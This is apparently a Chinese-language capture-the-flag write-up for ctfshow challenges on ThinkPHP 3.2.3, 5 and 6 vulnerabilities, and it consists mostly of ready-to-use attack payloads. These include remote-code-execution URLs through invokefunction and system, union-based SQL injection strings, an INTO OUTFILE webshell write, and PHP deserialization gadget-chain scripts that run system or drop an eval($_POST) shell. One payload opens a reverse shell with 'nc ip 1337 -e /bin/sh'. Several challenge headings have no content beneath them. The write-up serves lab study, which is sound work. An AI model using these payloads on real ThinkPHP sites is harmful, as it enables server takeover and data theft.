web569

考察thinkphp3.2.3版本的路由格式
thinkphp3.2.3手册

# 模块/控制器/方法/参数名/参数值

PATHINFO模式
/index.php/Admin/Login/ctfshowLogin

普通模式
/index.php?m=Admin&c=Login&f=ctfshowLogin

兼容模式
/index.php?s=Admin/Login/ctfshowLogin

REWRITE模式
/Admin/Login/ctfshowLogin

web570

有一条添加的路由规则

可以直接调用call_user_func执行任意函数
第一个参数为回调函数,第二个参数只能为回调函数的参数。
我们使用/ctfshow/system/ls可以执行命令,但无法传递/字符
使用assert函数,可以将参数解析为php代码。

/ctfshow/assert/system($_POST[1])

web571

下载composer
一键搭建环境

composer create-project topthink/thinkphp=3.2.3 tp3

下载xdebug插件
添加配置信息如下:

[Xdebug]
zend_extension = xdebug
xdebug.collect_params=1
xdebug.collect_return=1
xdebug.auto_trace=On
xdebug.profiler_enable=On
xdebug.mode=debug
xdebug.client_host=127.0.0.1
xdebug.remote_host=127.0.0.1
xdebug.remote_port=9003

浏览器下载xdebug helper插件后即可开始调试

我们可以控制传入show函数的变量n
可以看到经过show函数在TMPL_NEGINE_TYPE是php的时候会执行到eval函数

这相当于一个ssti

?n=%3C?php%20system(%27cat%20/flag_is_here%27)?%3E

web572

使用ThinkphpGUI工具直接能扫出来存在日志泄露。
另一个工具可以选择日期爆破

当开启debug模式时,会在Runtime目录下生成log文件,文件名称是年_月_日.log,所以可以爆破出日志文件。
intruder设置如下进行爆破

发现/Application/Runtime/Logs/Home/21_04_15.log文件里有命令执行日志

/index.php?showctf=<?php%20system("cat%20/flag_is_here");?>

web573

Thinkphp3.2.3版本中存在sql注入漏洞
但是上面两个工具没有这个漏洞的检测😭

参考分析文章

源码:

class IndexController extends Controller {
    public function index(){
        $a = M('xxx');
        $id = I('GET.id');
        $b = $a->find($id);
        var_dump($b);
    }
}

payload

?id[where]=0 union select 1,TABLE_NAME,1,1 from information_schema.tables where table_schema="ctfshow" limit 1,1--
?id[where]=0 union select 1,COLUMN_NAME,1,1 from information_schema.columns where table_name="flags" limit 1,1--
?id[where]=0 union select 1,flag4s,1,1 from flags

web574

WHERE型注入

源码

public function index($id=1){
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}

payload

0) union select 1,TABLE_NAME,1,1 from information_schema.tables where table_schema="ctfshow" limit 1,1--
0) union select 1,COLUMN_NAME,1,1 from information_schema.columns where table_name="flags" limit 1,1--
0) union select 1,flag4s,1,1 from flags--

web575

反序列化

$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}

可以利用show函数执行命令
payload

<?php

namespace Home\Controller{
    class IndexController{
        public $id='1';
        public $username='<?php system("nc ip 1337 -e /bin/sh");?>';
    }
}

namespace{
    use Home\Controller\IndexController;
    echo base64_encode(serialize(new IndexController));
}
?>

修改cookie同时GET传入id=1

因为thinkphp3.2.3本身是存在反序列化链的,也可以换一种方法。(这里省略了)
限制比较多:需要php5(当然这里肯定是)。
利用任意文件读,无法确定flag位置。
详细参考https://blog.csdn.net/miuzzx/article/details/119424101

web576

COMMENT型注入

$user = M('Users')->comment($id)->find(intval($id));

调试程序发现parseComment()函数

使用/**/进行注释,我们可以输入*/来闭合进行注入。

这种属于limit注入
我这里尝试了不能使用union

payload

1*/ into outfile "/var/www/html/1.php" lines terminated by "<?php eval($_POST[1]);?>"/*

web577

WHERE型注入

$map=array(
'id'=>$_GET['id']
);
$user = M('Users')->where($map)->find();

这里使用ThinkPHP3.2.3的exp,bind注入。
exp,bind是ThinkPHP3.2.3提供的一种表达式查询功能,参考手册

关键在parseWhereItem()函数
当数组第一个值为bind或exp时,会直接将第二个值拼接到sql语句中。

前面有一个字段类型验证,但这里$val是一个数组,is_scalar()函数会返回false。

payload

?id[0]=exp&id[1]==0 union select 1,flag4s,2,3 from flags--+

web578

变量覆盖+模板注入

public function index($name='',$from='ctfshow'){
$this->assign($name,$from);
$this->display('index');
}

ThinkPHP默认模板引擎设置是text/html

ThinkPHP/Conf/convention.php

/* 模板引擎设置 */
    'TMPL_CONTENT_TYPE'      => 'text/html', // 默认模板输出类型

这题设置为了php,才能够利用。

我们使用assign函数赋值进行变量覆盖$_contents变量,当$_contents非空时会进入到eval函数中。

payload

?name=_content&from=<?php%20phpinfo();?>

查看assign函数细节,当$name为数组时可以直接进行赋值,而不需要$value。

换一种payload

?name[_content]=<?php%20phpinfo();?>

web579

ThinkPHP5 未开启强制路由RCE

payload

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=cat%20/flag_is_here

web604

继续使用上题的payload,提示invokefunction被禁用了。
尝试其他控制器。

payload

?s=index/think\request/input?data[0]=cat%20../../../../flag_heeeeae&filter=system

web605

过滤了input和display

使用这个显示找不到类,有点不懂。

?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>

使用这个可以写shell

?s=index/\think\template\driver\File/write&cacheFile=shell.php&content=<?php%20phpinfo();?>

web606

将write也过滤了

总结一下,一共过滤了

invokefunction、display、input、write

使用大小写即可绕过

?s=index/\think\app/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][0]=cat%20/flag_heeeeae

web607

web608

web609

web610

同样大小写绕过

web611

考察ThinkPHP5的反序列化利用链。

payload

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["a"=>["a","a"]];
        $this->data = ["a"=>new Request()];
    }
}

class Request
{
    protected $hook = [];
    protected $filter = "";
    protected $config = [];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}


namespace think\process\pipes;

//use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}


namespace think\model;

use think\Model;
class Pivot extends Model
{
}


use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>

POST传入反序列化数据,GET传入命令执行参数。

web612

修改上题中isAjaxisPjax

$this->hook['visible'] = [$this, 'isPjax'];
$this->config['var_pjax'] = '';

web613

web614

web615

web616

web617

web618

web619

web620

web621

使用Reqeust

$this->hook['visible'] = [$this, 'Request'];

web622

web623

考察ThinkPHP6的反序列化利用链

payload

<?php

namespace think {

    use think\route\Url;

    abstract class Model
    {
        private $lazySave;
        private $exists;
        protected $withEvent;
        protected $table;
        private $data;
        private $force;
        public function __construct()
        {
            $this->lazySave = true;
            $this->withEvent = false;
            $this->exists = true;
            $this->table = new Url();
            $this->force = true;
            $this->data = ["1"];
        }
    }
}

namespace think\model {

    use think\Model;

    class Pivot extends Model
    {
        function __construct()
        {
            parent::__construct();
        }
    }
    $b = new Pivot();
    echo urlencode(serialize($b));
}

namespace think\route {

    use think\Middleware;
    use think\Validate;

    class Url
    {
        protected $url;
        protected $domain;
        protected $app;
        protected $route;
        public function __construct()
        {
            $this->url = 'a:';
            $this->domain = "<?php system('whoami');?>";
            $this->app = new Middleware();
            $this->route = new Validate();
        }
    }
}

namespace think {

    use think\view\driver\Php;

    class Validate
    {
        public function __construct()
        {
            $this->type['getDomainBind'] = [new Php(), 'display'];
        }
    }
    class Middleware
    {
        public function __construct()
        {
            $this->request = "2333";
        }
    }
}

namespace think\view\driver {
    class Php
    {
        public function __construct()
        {
        }
    }
}

web624

web625

换一条利用链,直接写shell

<?php
namespace League\Flysystem\Cached\Storage{
    use League\Flysystem\Adapter\Local;

    class Adapter{
        protected $autosave = true;
        protected $expire = null;
        protected $adapter;
        protected $file;

        public function __construct()
        {
            $this->autosave = false;
            $this->expire = '<?php @eval($_POST[1]);?>';
            $this->adapter = new Local();
            $this->file = '1.php';
        }
    }
}

namespace League\Flysystem\Adapter{
    class Local{

    }
}

namespace {
    use League\Flysystem\Cached\Storage\Adapter;

    echo urlencode(serialize(new Adapter()));
}